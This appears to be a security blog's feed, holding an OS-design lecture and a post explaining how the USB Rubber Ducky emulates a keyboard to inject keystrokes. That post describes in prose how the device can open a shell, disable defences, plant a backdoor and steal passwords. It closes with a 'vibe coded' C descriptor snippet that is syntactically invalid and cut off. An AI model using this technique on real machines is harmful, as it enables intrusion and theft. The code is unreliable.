<li><p>That’s why buffer overflows are a <strong>software bug</strong>, not a hardware fault.</p>
</li>
<li><p><strong>Stack overflow:</strong> function calls or local arrays exceed stack boundary.</p>
</li>
<li><p><strong>Heap overflow:</strong> dynamic allocations overwrite adjacent blocks.</p>
</li>
<li><p>Both are results of <strong>the process corrupting its own layout</strong> - still within its own sandbox and not anything the OS or MMU did wrong.</p>
</li>
</ul>
<h2 id="heading-additional-points">Additional Points</h2>
<ul>
<li><p>We are in the 1980s now.</p>
</li>
<li><p>There is no operating system or kernel - the CPU is booted using BASIC.</p>
</li>
<li><p>Currently, we will focus only on design problems. In 2025, we will address optimization problems.</p>
</li>
<li><p>The concept of <em>privilege levels</em> does not exist yet - there are no roles; the CPU has only one mode of operation (system role).</p>
</li>
<li><p>This is the start of the concept of Memory Management Unit (MMU) and its functionalities.</p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Lecture 1 - OS Design Principles]]></title><description><![CDATA[Disclaimer:
⚠️ Ye who have ventured here, hath abandoned all hope...
The following content contains intense cybersecurity themes and may not be suitable for the faint-hearted
Students and beginners, p]]></description><link>https://breachforce.net/lecture-1-os-design-principles</link><guid isPermaLink="true">https://breachforce.net/lecture-1-os-design-principles</guid><category><![CDATA[Operating System Design]]></category><category><![CDATA[OS Architecture]]></category><category><![CDATA[System Bootloader]]></category><category><![CDATA[OS Concepts]]></category><category><![CDATA[Bootloader Explained]]></category><category><![CDATA[Context Switching Explained]]></category><category><![CDATA[How Operating Systems Work]]></category><category><![CDATA[Bootstrapping]]></category><category><![CDATA[interrupt]]></category><category><![CDATA[process management]]></category><dc:creator><![CDATA[Rehan Shaikh]]></dc:creator><pubDate>Fri, 24 Oct 2025 18:30:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/E6U1AHRbcw0/upload/b7d2e4fce9f7316b2b5e2647290f5195.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3>Disclaimer:</h3>
<h3>⚠️ Ye who have ventured here, hath abandoned all hope...</h3>
<p>The following content contains intense cybersecurity themes and may not be suitable for the faint-hearted</p>
<p><strong>Students and beginners</strong>, proceed at your own thrill — this is not a walk in the park</p>
<h1>Design Architecture 1: CPU + RAM</h1>
<p><strong>The Goal:</strong> Establish a basic hardware execution environment where the processor can read and execute instructions.</p>
<p>First we will make a dummy diagram of the current architecture which contains CPU and RAM</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761761115883/42695918-ecde-40d8-9226-ea51b558b093.png" alt="" style="display:block;margin:0 auto" />

<p>In the above diagram, the following components will perform the following functions.</p>
<blockquote>
<p>Note: The current scenario illustrates the 1970s computer architecture without any modern computer hardware/software design functionalities like Parallel Processing, Multi Processing, Threading, Interrupts, etc. We will learn each and every design paradigm as we move on</p>
</blockquote>
<h2>CPU</h2>
<ul>
<li>Can execute instructions from a fixed memory address (called the <strong>reset vector</strong>)</li>
</ul>
<h2>RAM</h2>
<ul>
<li>Can store instructions and data, but is volatile (empties at power cycle)</li>
</ul>
<h2>Power Cycle</h2>
<ul>
<li><p>A <strong>power cycle</strong> means <strong>turning a device off completely and then turning it back on</strong>.</p>
</li>
<li><p>It's used to <strong>reset the hardware</strong> and bring the system back to a <strong>known initial state</strong>.</p>
</li>
<li><p>This violently purges all temporary memory (RAM), CPU registers, caches, and hardware latches</p>
</li>
<li><p>It's like giving the entire system a <strong>fresh start</strong> — especially useful when the system is frozen, behaving unexpectedly, or needs to reinitialize hardware.</p>
</li>
</ul>
<h2>Anatomy of a Power Cycle</h2>
<p>Here is the exact CPU sequence during a power cycle:</p>
<h3>1. Power is removed</h3>
<ul>
<li><p>When the system turns off, the <strong>CPU loses power</strong>.</p>
</li>
<li><p>All its internal states (registers, cache, control logic) are <strong>erased</strong>.</p>
</li>
<li><p>The CPU becomes completely inactive.</p>
</li>
</ul>
<h3>2. Power is restored</h3>
<ul>
<li><p>Once power is turned on again:</p>
</li>
<li><p>The <strong>Power Supply Unit (PSU)</strong> stabilizes and sends a Power Good electrical signal to the motherboard.</p>
</li>
<li><p>This tells the CPU: "Voltage levels are stable - you can start now."</p>
</li>
</ul>
<h3>3. CPU reset sequence begins</h3>
<ul>
<li>The CPU automatically <strong>starts executing code from a fixed memory address</strong> called the <strong>reset vector</strong> (e.g., <code>0xFFFF0</code> in early 16-bit CPUs like the 8086).</li>
</ul>
<h3>4. CPU state after power cycle</h3>
<p>When the CPU restarts:</p>
<ul>
<li><p>All registers are set to default values.</p>
</li>
<li><p>Instruction pointer (IP) is locked to the reset vector.</p>
</li>
<li><p>Caches and buffers are empty.</p>
</li>
<li><p>The CPU operates as if it's being used for the first time (a completely blank state).</p>
</li>
</ul>
<h2>Current Design</h2>
<ul>
<li><p>When CPU powers on</p>
<ul>
<li>Upon power-on, the CPU immediately attempts to fetch its first instruction from the hardcoded reset vector (e.g., <code>0xFFFF0</code>)</li>
</ul>
</li>
</ul>
<h2>Problem - <strong>Volatility Trap</strong></h2>
<ul>
<li><p>Because RAM is volatile, when it is powered on, its contents are random ("indeterminate") until explicitly initialized. It's not guaranteed to be zero.</p>
</li>
<li><p>Therefore, the memory at the reset vector, where the CPU expects its very first instruction, contains random garbage.</p>
</li>
<li><p>If the first instruction is garbage or invalid, the CPU usually triggers a <strong>fault</strong>, like an <strong>illegal instruction exception</strong> and crashes immediately.</p>
</li>
<li><p>The CPU cannot safely execute empty or random RAM. We need a valid instruction already in RAM at the reset vector.</p>
</li>
<li><p>How do we ensure that the RAM contains a valid instruction at the reset vector?</p>
</li>
</ul>
<h2>Solution - <strong>Manual Bootstrapping</strong></h2>
<ul>
<li><p><strong>The Approach:</strong> The operator must manually inject valid code into RAM before letting the CPU execute.</p>
</li>
<li><p><strong>The Steps:</strong></p>
<ol>
<li><p>The operator flips physical <strong>toggle switches</strong> on a front panel, or uses a paper tape, punched card reader, or console input to feed binary instructions directly into the RAM.</p>
</li>
<li><p>Once this small "bootstrap" code is in RAM, the CPU is released to start executing from the reset vector.</p>
</li>
<li><p>This bootstrap program's job is to read a larger program from a tape or disk into the rest of the RAM.</p>
</li>
</ol>
</li>
</ul>
<h2>Limitations</h2>
<ul>
<li><p>Because RAM gets wiped out on every power cycle, an operator has to manually punch this code in every single time the computer restarts.</p>
</li>
<li><p>Is it possible to automate the bootstrap process so that manual code entry is no longer required on every boot?</p>
</li>
</ul>
<h1>Design Architecture 2: CPU + RAM + ROM</h1>
<p><strong>The Goal:</strong> Automate the bootstrap process so manual code entry is no longer required on every boot.</p>
<p>To solve the volatility trap of early computers, a new hardware component - <strong>ROM (Read-Only Memory)</strong> was introduced into the earlier design of the CPU and RAM.</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761761550697/bd351584-2d56-4f77-ac6c-53779950ae55.png" alt="" style="display:block;margin:0 auto" />

<h3>CPU</h3>
<ul>
<li><p>Executes instructions from a fixed memory address (the reset vector).</p>
</li>
<li><p>Can be later configured to execute arbitrary code from any memory location.</p>
</li>
</ul>
<h3>RAM</h3>
<ul>
<li><p>Can store instructions/data, but is volatile (empties at power cycle)</p>
</li>
<li><p>Used by the CPU to execute code once it has been loaded from ROM.</p>
</li>
</ul>
<h3>ROM</h3>
<ul>
<li><p>Stores <strong>fixed code</strong> that cannot be easily modified.</p>
</li>
<li><p>Usually contains the <strong>initial bootloader</strong> or firmware.</p>
</li>
<li><p>The code stored in ROM contains the instructions that tell the CPU to move data into the RAM.</p>
</li>
</ul>
<h3>Current Design</h3>
<ul>
<li><p>Instead of punching code into RAM, we embed the bootstrap code permanently into ROM. We map the CPU's reset vector to point to the ROM chip.</p>
</li>
<li><p><strong>Execution:</strong> When the CPU powers on, it starts executing instructions from the reset vector. It runs the bootloader straight from ROM, which then loads the instructions into RAM.</p>
</li>
<li><p><strong>The Handover:</strong> Once the ROM contains the bootstrap code and loads the instructions into RAM, the CPU is ready to execute from the workspace.</p>
</li>
<li><p><strong>Advantage:</strong> No need to directly punch the code into the RAM every time the system restarts.</p>
</li>
</ul>
<h3>Problem</h3>
<ul>
<li><p><strong>Fixed Code:</strong> ROM stores fixed code, so it cannot be modified.</p>
</li>
<li><p><strong>No Flexibility:</strong> A computing setup that requires customization or flexibility cannot change the bootstrap code burned into the ROM.</p>
</li>
<li><p><strong>Result:</strong> No scope for customizing the bootstrap process.</p>
</li>
<li><p>How do we customize the bootstrap process?</p>
</li>
</ul>
<h1>Design Architecture 3: CPU + RAM + ROM + Long Storage Device</h1>
<p><strong>The Goal:</strong> To gain the flexibility to change or update the bootstrap code without replacing the physical ROM hardware, and to enable the loading of larger, more complex programs.</p>
<p>In this design, we solve the "Fixed Code" problem of Architecture 2 by adding a <strong>Long Storage Device</strong> (e.g., Hard Drive, SSD, or Magnetic Tape).</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761761730027/3e81ee41-304d-44b2-8604-50251d13728d.png" alt="" style="display:block;margin:0 auto" />

<h3>CPU</h3>
<ul>
<li><p>Executes instructions from a fixed memory address (the reset vector).</p>
</li>
<li><p>Follows the instructions in ROM to fetch the program from the Storage Device and load it into the RAM.</p>
</li>
<li><p>Can be later configured to execute arbitrary code from any memory location.</p>
</li>
</ul>
<h3>RAM</h3>
<ul>
<li><p>Can store instructions/data, but is volatile (empties at power cycle)</p>
</li>
<li><p>Used by the CPU to execute the program loaded from the storage device.</p>
</li>
</ul>
<h3>ROM</h3>
<ul>
<li><p>Stores <strong>fixed code</strong> that cannot be easily modified.</p>
</li>
<li><p>Contains the instructions needed to initialize the <strong>Long Storage Device</strong>.</p>
</li>
<li><p>Provides instructions to allow CPU to read from storage device</p>
</li>
<li><p>Provides instructions to allow CPU to write to storage device</p>
</li>
<li><p>If the ROM software (bootstrap code) is <strong>written to support reading from an external storage device</strong>, then it can:</p>
<ul>
<li><p>Access the storage device</p>
</li>
<li><p>Read the program or instructions from it.</p>
</li>
<li><p>Load those instructions into a designated execution area in RAM (such as 0x7C00 for BIOS systems).</p>
</li>
<li><p>Trigger the CPU to <strong>start executing the loaded code</strong> from RAM.</p>
</li>
</ul>
</li>
</ul>
<p><strong>Long Storage Device</strong></p>
<ul>
<li><p>Stores the actual bootstrap code or program (like an OS) permanently.</p>
</li>
<li><p>Unlike ROM, the data here can be updated or changed by the user at any time.</p>
</li>
</ul>
<h3>Current Design</h3>
<ul>
<li><p><strong>Power On:</strong> The CPU wakes up and begins executing from a hardcoded address (the <strong>Reset Vector</strong>, such as 0xFFFFFFF0 for x86).</p>
</li>
<li><p><strong>Hardware Mapping:</strong> This address points directly to the <strong>ROM</strong>. No address translation occurs yet because the <strong>MMU (Memory Management Unit)</strong> is not yet active.</p>
</li>
<li><p><strong>The Fetch:</strong> The chipset routes reads to the <strong>BIOS ROM</strong>, which contains the minimal instructions needed to "wake up" the rest of the hardware.</p>
</li>
<li><p><strong>The Handover:</strong> The CPU executes the ROM code, which finds the program on the <strong>Long Storage Device</strong> and copies it into <strong>RAM</strong>.</p>
</li>
<li><p><strong>Execution:</strong> The CPU stops reading from the ROM and begins running the program (the Operating System) directly from the RAM.</p>
</li>
</ul>
<blockquote>
<p><strong>Note:</strong> ROM configures the hardware so that the initial bootstrap code is available to the CPU at the reset vector, typically using memory-mapped I/O. We will revisit this section in upcoming lectures to study concepts such as the MMU more thoroughly.</p>
</blockquote>
<h2>Inference</h2>
<ul>
<li><p>Till now we have satisfied the necessary hardware requirements, to run a program like the Operating System which can control many other small programs</p>
</li>
<li><p>Here onwards, we will focus on the historical and technical context of each of the functionalities required to build the Operating System (our universal program)</p>
</li>
<li><p>In a modern BIOS system, the ROM isn't just a "loader" - it's an <strong>interface</strong>. It provides basic services (like "write this text to the screen") that the early bootloader uses before the Operating System is fully awake. For more information refer to the BIOS Boot Sequence at the end of this blog.</p>
</li>
</ul>
<p><strong>Historical Context Note:</strong> This architecture allowed computers to move from being single-purpose tools (like a calculator) to general-purpose machines (like a PC) that could run entirely different software simply by swapping the contents of the Storage Device.</p>
<h2>File System</h2>
<h3>Problem</h3>
<ul>
<li><p>To run a different program from another storage medium, we currently need to power cycle the computer.</p>
</li>
<li><p>Is there a way to store multiple programs on the same storage device?</p>
</li>
</ul>
<h3>Solution</h3>
<ul>
<li>For point (2), we can do it, as long as we do the necessary book keeping to keep track of what program is stored at which location (memory address)</li>
</ul>
<h3>Book-Keeping System (File System)</h3>
<ul>
<li>To store multiple programs, we'll introduce a simple book-keeping system on the storage device, a mini file system: which has three members:</li>
</ul>
<table>
<thead>
<tr>
<th><strong>Fields</strong></th>
<th><strong>Description</strong></th>
</tr>
</thead>
<tbody><tr>
<td><code>program_id</code></td>
<td>Program identifier</td>
</tr>
<tr>
<td><code>start_address</code></td>
<td>Starting address of program in storage</td>
</tr>
<tr>
<td><code>end_address</code></td>
<td>Ending address of program in storage</td>
</tr>
</tbody></table>
<ul>
<li><p>The initial book-keeping system will look like this<br /><code>&lt;program id&gt;&lt;start address&gt;&lt;end address&gt;</code></p>
</li>
<li><p>This book-keeping helps us remember where each program lives on the storage device.</p>
</li>
<li><p>It's the foundation of our toy file system or a tiny version of FAT32</p>
</li>
</ul>
<h2>Meta-Program</h2>
<h3>Problem</h3>
<ul>
<li><p>Earlier we stored multiple programs into the same file system. Now we have another problem.</p>
</li>
<li><p>Can we <strong>switch between programs</strong> on the same storage device?</p>
</li>
</ul>
<h3>Solution</h3>
<ul>
<li><p>We can write a small meta-program that allows switching between different programs and store it alongside the RAM</p>
</li>
<li><p>With this, our architecture of RAM will be modified to this</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761761970444/d4ce04a9-e597-4fa0-aa1e-e12a735ef0be.png" alt="" style="display:block;margin:0 auto" />
</li>
<li><p>This program provides additional capabilities beyond the basic bootstrap logic.</p>
</li>
</ul>
<h2>Bootstrap Code</h2>
<ul>
<li><p>The <strong>bootstrap code</strong> (also known as a <strong>bootloader</strong>) is a <strong>small, fixed program stored in ROM</strong> that runs <strong>immediately after the CPU powers on</strong>.</p>
</li>
<li><p>Its <strong>main job</strong> is to <strong>initialize the system</strong> and <strong>load the actual program from storage into RAM</strong> so the CPU can start executing it.</p>
</li>
</ul>
<h2>Features of Meta-Program</h2>
<ul>
<li><p>It can perform <strong>read/write operations</strong> on the storage medium (either directly or through the ROM)</p>
</li>
<li><p>It <strong>understands the bookkeeping data</strong> (i.e., it includes bookkeeping logic) present on the storage medium</p>
</li>
<li><p>As an extension of the book-keeping logic, it can <strong>load any program using its unique ID</strong></p>
</li>
</ul>
<h3>Loading a Program by ID</h3>
<ol>
<li><p>Using the given program ID, locate its <strong>start address</strong> and <strong>end address</strong> on the storage device</p>
</li>
<li><p>Read data sequentially from the <strong>start address</strong> to the <strong>end address</strong>, copying it into <strong>RAM</strong></p>
</li>
<li><p>Execute a <strong>direct jump</strong> instruction (<code>JMP &lt;address in RAM&gt;</code>) to transfer control to the newly loaded program</p>
</li>
<li><p><strong>Wait until execution finishes</strong>, before accepting the next instruction on program load</p>
</li>
</ol>
<h2>System-Call</h2>
<h3>Problem</h3>
<ul>
<li><p>When a user program finishes execution or needs to perform a system-level task (like exiting, reading from storage, or displaying output), it must hand control back to the <strong>meta-program</strong></p>
</li>
<li><p>If the program simply halts the CPU (e.g., using an instruction like HLT), the system stops entirely</p>
</li>
<li><p>We need a controlled way for programs to <strong>return control</strong> to the meta-program without halting the processor</p>
</li>
</ul>
<h3>Solution</h3>
<ul>
<li>Introduce a <strong>standardized mechanism</strong> for programs to jump to specific, predefined addresses in the meta-program — effectively creating an <strong>API interface</strong> between the program and the meta-program</li>
</ul>
<h2>Handling Control using API</h2>
<ul>
<li><p>The meta-program provides a set of <strong>known jump destinations</strong> (like functions) to handle specific operations such as exiting or I/O</p>
</li>
<li><p>The <strong>compiler</strong> for this computer stack recognizes these function calls (e.g., <code>exit()</code>) and emits the corresponding <strong>JMP instruction</strong> to the predefined address in the meta-program</p>
</li>
<li><p>When the program executes that jump, control safely returns to the meta-program as the meta-program has already blocked that predefined address</p>
</li>
<li><p>This mechanism is the <strong>early conceptual form of system calls (syscalls)</strong> — a structured way for user programs to communicate with and transfer control to the supervisory meta-program (later known as the <strong>Operating System kernel</strong>).</p>
</li>
</ul>
<h2>Interrupts</h2>
<h3>Problem</h3>
<ul>
<li><p>We can execute only <strong>one program at a time</strong></p>
</li>
<li><p>If a program is waiting for a hardware response (like disk I/O or network data), the <strong>CPU remains idle</strong> in the meantime.</p>
</li>
<li><p>This wastes potential processing time and reduces overall efficiency.</p>
</li>
<li><p>Is there a way to make the CPU do something useful while another program is waiting? Essentially, to <strong>run multiple programs seemingly at once</strong>, even though there is only one CPU.</p>
</li>
</ul>
<h3>Solution</h3>
<ul>
<li>Add a timer, bro ☺︎</li>
</ul>
<h2>Timer Functionality</h2>
<ul>
<li><p>A <strong>timer</strong> is added to the CPU</p>
</li>
<li><p>The timer's <strong>frequency is configurable</strong>, allowing us to decide how often it triggers</p>
</li>
<li><p>When the timer <strong>trips</strong>, it can be configured to make the CPU automatically jump to a <strong>fixed memory address</strong></p>
</li>
<li><p>We modify the <strong>meta-program</strong> to include a special piece of code at that address — this code runs <strong>every time the timer trips</strong>.</p>
</li>
<li><p>Inside that special code, we implement logic to <strong>shuffle or switch between processes</strong>.</p>
</li>
</ul>
<h2>Interrupt</h2>
<ul>
<li><p>When the timer trips, it <strong>interrupts</strong> the CPU from whatever it was doing — hence it's called an <strong>interrupt</strong></p>
</li>
<li><p>The special code that runs in response is called an <strong>interrupt handler</strong>, because it handles what happens when the interrupt occurs</p>
</li>
</ul>
<h2>Context Switching</h2>
<h3>Program</h3>
<ul>
<li>A <strong>program</strong> is just passive code stored on disk</li>
</ul>
<h3>Process</h3>
<ul>
<li>A <strong>process</strong> is an active instance of that program running in memory — it has its own CPU registers, stack, and current execution point</li>
</ul>
<h3>Problem</h3>
<ul>
<li>How do we <strong>shuffle or switch between processes</strong>?</li>
</ul>
<h2>States of Process</h2>
<ul>
<li><p>Our process will have mainly two states</p>
<ul>
<li><p><strong>Running</strong>: The process is currently being executed by the CPU</p>
</li>
<li><p><strong>Suspended</strong>: The process has temporarily paused its execution, waiting to be resumed later</p>
</li>
</ul>
</li>
<li><p>As such, we have to keep track of both of the states in order to get a successful shuffle</p>
</li>
</ul>
<h3>Solution</h3>
<ul>
<li>We <strong>save the state</strong> of the currently running process and <strong>restore the state</strong> of a previously suspended process.</li>
</ul>
<h2>Components of Process State</h2>
<p>A process's state includes:</p>
<ul>
<li><p><strong>Execution status</strong>: Whether it's running or suspended.</p>
</li>
<li><p><strong>CPU registers</strong>: Program Counter (PC), Stack Pointer (SP), general-purpose registers, flags, etc.</p>
</li>
</ul>
<h3>Steps to shuffle processes</h3>
<ul>
<li><p>Save the state of the current (running) process</p>
<ul>
<li><p>Copy all relevant CPU registers into memory reserved for that process.</p>
</li>
<li><p>Mark the process as suspended.</p>
</li>
</ul>
</li>
<li><p>Restore the state of the next (suspended) process</p>
<ul>
<li><p>Copy the saved CPU registers from memory back into the CPU.</p>
</li>
<li><p>Mark the process as running.</p>
</li>
</ul>
</li>
<li><p>Resume execution</p>
<ul>
<li><p>Jump to the program counter (PC) saved in the restored state.</p>
</li>
<li><p>Execution continues exactly where the process left off:</p>
<ul>
<li><code>JMP&lt;address in process memory&gt;</code></li>
</ul>
</li>
</ul>
</li>
<li><p>This mechanism is called <strong>context switching</strong>, and it allows the CPU to <strong>alternate between processes</strong>, giving the appearance of multitasking on a single processor.</p>
</li>
</ul>
<h1>Extra Notes</h1>
<h3><strong>The BIOS Boot Sequence (The Legacy Path)</strong></h3>
<h3><strong>1. The Wake-Up (ROM + CPU)</strong></h3>
<p>The moment you hit the power button, the CPU is "dumb." It goes to that hardcoded <strong>Reset Vector</strong> (0xFFFFFFF0) which is wired to the <strong>ROM</strong>.</p>
<ul>
<li><p><strong>The BIOS (Basic Input/Output System)</strong> code starts running.</p>
</li>
<li><p>It performs the <strong>POST (Power-On Self-Test)</strong> to make sure your RAM isn't fried and your keyboard is plugged in.</p>
</li>
</ul>
<h3><strong>2. The Search (ROM → Long Storage)</strong></h3>
<p>The BIOS has a "Boot Order" stored in its settings. It looks at your <strong>Long Storage Device</strong> (Hard Drive or SSD) and searches for the very first sector of data, known as <strong>Sector 0</strong>.</p>
<ul>
<li>This specific 512-byte chunk is called the <strong>MBR (Master Boot Record)</strong>.</li>
</ul>
<h3><strong>3. The Micro-Load (CPU moves Storage → RAM)</strong></h3>
<p>This is the "nitty-gritty" part. The BIOS code tells the CPU: <em>"Grab those 512 bytes from the MBR and copy them into RAM at a very specific address:</em> <em><strong>0x7C00</strong></em><em>."</em></p>
<ul>
<li><strong>Why 0x7C00?</strong> It’s just a historical convention from the early 1980s, but every BIOS follows it.</li>
</ul>
<h3><strong>4. The Handover (The Jump)</strong></h3>
<p>Once those 512 bytes are sitting in RAM, the BIOS gives its final command to the CPU: <strong>"JMP 0x7C00."</strong> The CPU stops executing the fixed code in the <strong>ROM</strong> and starts executing the code it just moved into the <strong>RAM</strong>.</p>
<h3><strong>5. The Multi-Stage Loading (The OS takes over)</strong></h3>
<p>Since 512 bytes is too small for a whole OS (Windows or Linux), that tiny bit of code in RAM is a "Stage 1 Bootloader." Its only job is to:</p>
<ol>
<li><p>Know how to read the rest of the <strong>Long Storage Device</strong>.</p>
</li>
<li><p>Pull the <strong>actual</strong> Operating System files into the <strong>RAM</strong>.</p>
</li>
<li><p>Fully initialize the OS.</p>
</li>
</ol>
]]></content:encoded></item><item><title><![CDATA[Duck, Duck… Hack]]></title><description><![CDATA[USB Rubber Ducky is a small device that looks like a regular USB flash drive but acts like a keyboard. It's used for penetration testing, security research, automated tasks, demos, and social-engineering attacks to test an organization's defenses.
Di...]]></description><link>https://breachforce.net/rubber-ducky</link><guid isPermaLink="true">https://breachforce.net/rubber-ducky</guid><dc:creator><![CDATA[Maruti Marathe]]></dc:creator><pubDate>Mon, 13 Oct 2025 07:19:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1760335673606/f869fb4e-9b99-4021-82bd-6ed1e8b577df.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>USB Rubber Ducky is a small device that looks like a regular USB flash drive but acts like a keyboard. It's used for penetration testing, security research, automated tasks, demos, and social-engineering attacks to test an organization's defenses.</p>
<p>Disguised as removable storage, the device uses USB Human Interface Device (HID) emulation so preloaded scripts can drive the target machine automatically. When plugged into a computer, it is recognized as a keyboard (Human Interface Device) and can rapidly inject malicious keystrokes or commands at superhuman speeds, automating attacks such as backdoor creation, data theft, or other exploits.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760336084337/9dc7d4d7-db89-4937-b809-54f406902282.png" alt class="image--center mx-auto" /></p>
<p>This introduced Keystroke Injection in 2010 with the USB Rubber Ducky. This technique, developed by  founder <a target="_blank" href="https://darren.kitchen/">Darren Kitchen</a>, was his weapon of choice for automating mundane tasks at his IT job — fixing printers, network shares and the like. Today, the USB Rubber Ducky is a hacker culture icon, synonymous with the keystroke injection technique it pioneered.</p>
<h2 id="heading-key-features"><strong>Key Features</strong></h2>
<ul>
<li><p>The USB Rubber Ducky was developed by <a target="_blank" href="https://shop.hak5.org/"><strong>Hak5</strong></a>, a well-known cybersecurity and penetration testing company founded by <strong>Darren Kitchen</strong>  and is an iconic tool in hacker culture, embraced by cybersecurity professionals for its effectiveness.</p>
</li>
<li><p>It uses its own scripting language called <strong>DuckyScript</strong> to craft payloads ranging from simple automated tasks to highly advanced attacks.</p>
</li>
<li><p>Because computers inherently trust keyboards, the device can bypass many security controls that would otherwise prevent untrusted devices from executing code.</p>
</li>
</ul>
<h2 id="heading-how-it-works">How it works</h2>
<ul>
<li><p>When connected, the device identifies itself to the system as a keyboard (HID), not as a storage device, bypassing many traditional security bans on removable media.</p>
</li>
<li><p>Attackers load a script, written in the DuckyScript programming language, onto the Rubber Ducky via a microSD card.</p>
</li>
<li><p>Upon insertion, the device automates keystrokes, rapidly executing commands such as opening PowerShell/Terminal, downloading malware, creating new users, changing settings, or stealing credentials.</p>
</li>
<li><p>The process is silent, fast (superhuman typing speed) and often goes unnoticed, as these commands look like ordinary keyboard input to the operating system and security software.</p>
</li>
</ul>
<h2 id="heading-workflow"><strong>Workflow</strong></h2>
<p><strong>i] Payload Preparation</strong></p>
<ul>
<li><p>The attacker writes a script in <a target="_blank" href="https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference">DuckyScript</a> to automate desired actions (e.g., opening command prompt, typing commands).</p>
</li>
<li><p>The DuckyScript is compiled into a <code>.bin</code> payload, then loaded onto the device’s microSD card.</p>
</li>
</ul>
<p><strong>ii] Device Plugged In</strong></p>
<ul>
<li>Upon insertion, the microcontroller initializes, sometimes after a short delay for stable recognition.  </li>
</ul>
<p><strong>iii] Emulation and Execution</strong></p>
<ul>
<li><p>The microcontroller reads the binary payload from the microSD card and "types" the commands via the USB interface by emulating keyboard strokes.</p>
</li>
<li><p>Why binary payload?</p>
<ul>
<li><p>Duckyscript is <strong>compiled to a</strong> <code>.bin</code> of USB HID report sequences (scancodes + timing)</p>
</li>
<li><p>Precompiled binaries <strong>remove interpreter overhead</strong>, giving deterministic, low-latency keystroke injection</p>
</li>
<li><p>Binaries provide <strong>precise timing and layout-specific scancodes</strong>, improving reliability across OS’s and locales</p>
</li>
</ul>
</li>
</ul>
<ul>
<li>These keystrokes occur at superhuman speed, automating complex tasks almost instantly and usually avoiding software-based detection because they appear as normal keyboard input.</li>
</ul>
<p><strong>iv] Command Completion</strong></p>
<ul>
<li>As the attack or automation routine is completed, after which the Rubber Ducky remains idle or waits for further input.</li>
</ul>
<h3 id="heading-example-attack"><strong>Example Attack</strong></h3>
<p>A tester can program the Rubber Ducky to open a command prompt, disable defenses, install a backdoor and exfiltrate passwords. When plugged into an unlocked PC, the device completes the entire sequence in seconds without any visible alerts. This combination of hardware impersonation and scripting enables the Rubber Ducky to effectively bypass many conventional security measures,Because the host sees it as a trusted keyboard and the payload is precompiled for precise timing, endpoint protections that rely on simple device checks or delayed behavioral analysis often fail to catch it that narrow execution window and the device’s low footprint make detection difficult.</p>
<p>For those reasons, strict USB device policies, endpoint controls that validate device identity and targeted user awareness training are important countermeasures.</p>
<h3 id="heading-inside-the-rubber-ducky"><strong>Inside the Rubber Ducky</strong></h3>
<ul>
<li><p><strong>Microcontroller:</strong> Acts as the brain of the device, interpreting and executing encoded payload files stored on the microSD. Mostly Atmel’s 32-bit AVR microcontroller, specifically the <a target="_blank" href="https://www.microchip.com/en-us/product/at32uc3b1256">AT32UC3B1256</a></p>
</li>
<li><p><strong>MicroSD Card:</strong> Holds the payload (script) in binary format. The script must be written in DuckyScript, then compiled into a format the microcontroller understands</p>
</li>
<li><p><strong>USB Interface:</strong> Lets the device physically connect to and communicate with the target computer, presenting itself as an keyboard</p>
</li>
</ul>
<h2 id="heading-what-leads-it-to-mimic-a-keyboard"><strong>What Leads It to Mimic a Keyboard?</strong></h2>
<p>The Rubber Ducky tricks the computer into thinking it's a real keyboard by using a special microcontroller programmed with USB descriptors set to the keyboard class. When plugged in, the microcontroller provides these descriptors.</p>
<p>Descriptors: <strong>USB descriptors are a specific example of the general idea of a descriptor:</strong> they’re small metadata structures that tell the host what a USB device is and how to communicate with it (device type, vendor/product IDs, configurations, interfaces, endpoints, supported protocols, etc.).</p>
<p>In general, a descriptor describes a resource (files, devices, sockets, memory) by providing the metadata the system needs to use that resource.so the OS loads generic keyboard drivers and instantly trusts it as safe input without requiring user approval.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760336541087/85dd75a3-8143-44e5-a47a-d165213a003e.png" alt class="image--center mx-auto" /></p>
<p>Once accepted, the Rubber Ducky rapidly injects keystroke commands using preloaded scripts, exploiting the universal trust placed in keyboards by computers and bypassing restrictions applied to normal USB drives or storage devices. The attack is fast, automated and works because most operating systems are designed to automatically trust and use any connected HID device like a legitimate keyboard.</p>
<p><strong>What are USB Descriptors?</strong></p>
<p>A USB descriptor is a structured set of data embedded in every USB device that tells a host computer what the device is, how it should be used and what resources it needs. When a USB device like the Rubber Ducky is plugged in, the computer reads these descriptors during a process called enumeration to decide how to interact with that device.</p>
<p><strong>How USB Descriptors Work</strong></p>
<ul>
<li><p>When the device connects, the host requests descriptor data to identify and configure the device.</p>
</li>
<li><p><strong>Descriptor Types:</strong></p>
<ul>
<li><p>Device Descriptor: General info about the device (USB version, Vendor ID, Product ID, device class)</p>
</li>
<li><p>Configuration Descriptor: Power needs and the number of available interfaces</p>
</li>
<li><p>Interface Descriptor: Describes each function of the device (e.g., identifying as a keyboard via its HID class)</p>
</li>
<li><p>Endpoint Descriptor: Specifies communication channels (like input or output endpoints)</p>
</li>
<li><p>String Descriptor: Optional, provides human-readable info (product name, manufacturer)</p>
</li>
<li><p><strong>Role in Device Recognition:</strong> The device descriptor and interface descriptor (especially with the correct USB class code for a keyboard — HID: 0x03) cause the computer’s OS to identify and trust the device as a keyboard automatically.</p>
</li>
</ul>
</li>
</ul>
<h2 id="heading-example-device-descriptor-structure"><strong>Example: Device Descriptor Structure</strong></h2>
<p><em>Note: This is vibe coded and only for learning purposes</em></p>
<pre><code class="lang-c"><span class="hljs-keyword">typedef</span> <span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">USB_DEVICE_DESCRIPTOR</span> <span class="hljs-title">myHIDKeyboard</span> = {</span>
    .bLength = <span class="hljs-number">0x12</span>,
    .bDescriptorType = <span class="hljs-number">0x01</span>,
    .bcdUSB = <span class="hljs-number">0x0200</span>,
    .bDeviceClass = <span class="hljs-number">0x03</span>, <span class="hljs-comment">// This sets HID class</span>
